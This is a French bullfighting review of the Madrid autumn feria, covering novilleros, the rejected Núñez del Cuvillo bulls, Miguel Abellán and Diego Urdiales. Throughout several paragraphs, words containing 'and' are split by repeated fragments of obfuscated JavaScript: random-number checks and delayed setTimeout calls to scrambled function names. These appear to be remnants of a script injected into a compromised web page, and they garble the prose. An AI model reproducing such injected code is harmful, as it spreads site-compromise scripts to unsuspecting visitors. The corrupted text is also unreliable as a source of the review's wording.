ANALYSE FERIA D’AUTOMNE MADRID

Novilleros sans avenir

La novillada de Fuente Ymbro à Madrid fut en réalité une grosse corrida de toros pour des arènes de seconde catégorie. Pas très offensive dans ses armures, mais plutôt mal faite. Mansa et sans race. Malgré tout noble et permettant largement de triompher. En tout cas en ce qui concerne le 1er, 4ème, 5ème et surtout le 6ème si on ne l’avait pas massacré à la première pique. Pourquoi les jeunes épées n’ont-ils pas triomphé ?

Gonzalo Caballero car il manqua de véritable engagement, il ne laissa jamais en permanence la muleta entre une passe et l’autre –là où l’on prend de vrais risques en toréant- et préféra donner des passes en se croisant, une à une, au lieu de les enchaîner. Borja Jiménez car il manque d’art et de personnalité et fait passer le toro loin de lui ; et Francisco José Espada parce qu’il ne peut pas se sentir à l’aise après avoir fait tuer son toro par le picador. Nombreux sont les appelés et rares les élus.

Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and désastre des « Cuvillos »

Trop grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands, trop encornés en général, trop différents de morphologie, alourdis, l’instabilité des toros de Nuñez del Cuvillo provoqua le scandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andale. Quatre d’entre eux furent renvoyés et remplacés par un de Juan Pedro Domecq, brave, un autre de Bohórquez, refusé, avec fureur car il avait peu de cornes, un autre de El Torero, bravissime et avec de la classe, et finalement un de El Risco qui se laissa faire.

Mais le public ne se prêtait pas aux nuances. Ils se sont fâchés avec Finito parce qu’il n’en fit pas beaucoup, accompagnant les charges et ne s’engageant pas du tout à la mise à mort. Ils n’ont pas voulu voir Iván Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño et ont laissé que le tendido 7 lui indique avec grossièreté comment il devait toréer. Et à Daniel Luque, entre l’indifférence et la censure, ils ne lui ont pas permis de s’adapter aux changements de rythme de ses toros, évitant ainsi qu’il parte content de lui des arènes. En somme, un désastre pour l’aficion, une satisfaction pour le régénérationisme du tendido 7 et une défaite pour la Fiesta.

Miguel Abellán proche du triomphe

Il eut le triomphe entre ses mains. À son premier il aurait coupé une oreille si la mort du toro n’avait pas été aussi lente et au troisième les deux, s’il l’avait bien tué. Une bonne faena initiale à un toro de la Ventana del Puerto (d’origine Domecq), et un faenon au troisième, du Puerto de San Lorenzo (d’origine Atanasio), auraient dynamité la corrida avec trois oreilles pour Abellán. Mais les trophées perdus vidèrent l’âme et la tête du torero, qui aurait dû triompher avec le sixième et probablement avec le cinquième. Avec ce passage à vide de plus en plus prononcé, le tendido 7 se fit plus présent, insupportable, et les gens, adorables, continuèrent de soutenir le torero. La corrida de monsieur Fraile, bonne en général et avec un toro exceptionnel, « Burganero », n°118, noir, de 572 kilos, qui fait désormais parti des annales de ces arènes. Conclusion : être quelqu’un comme torero c’est bien plus qu’être un bon torero.

Diego Urdiales a le don de toréer

Quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and on prend les outils pour toréer exactement comme il faut le faire, quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les appels sont exacts, les terrains idoines et lorsqu’en plus, on a de l’esthétique et un temple parfumé, c’est que l’on est torero depuis sa naissance. Diego Urdiales a ce don et tant que les empresas ne l’engageront pas dans leurs ferias comme il le mérite et qu’il se cantonne aux corridas dures, l’aficion ratera une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande figura del toreo. C’est dommage que son deuxième toro se soit esquinté, car il aurait ouvert sinon la grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande porte. Son remplaçant, une armoire, manso total de Puerto de San Lorenzo, ne permit pas la moindre passe.

J’ai vu Uceda Leal froit et correct avec son premier et il s’est défait de son second, manso et dangereux, avec la brièveté qu’il méritait. C’était absurde que l’on applaudisse l’animal. Le dernier au cartel fut Serafín Marín, qui tout comme Urdiales coupa une oreille. Ce fut au sixième, noble et avec de la classe. Curieusement le torero découvrit ses vertus et s’imposa après s’être fait renverser par ce magnifique toro. De cette après-midi et de la feria il restait le souvenir prenant du toreo d’Urdiales.

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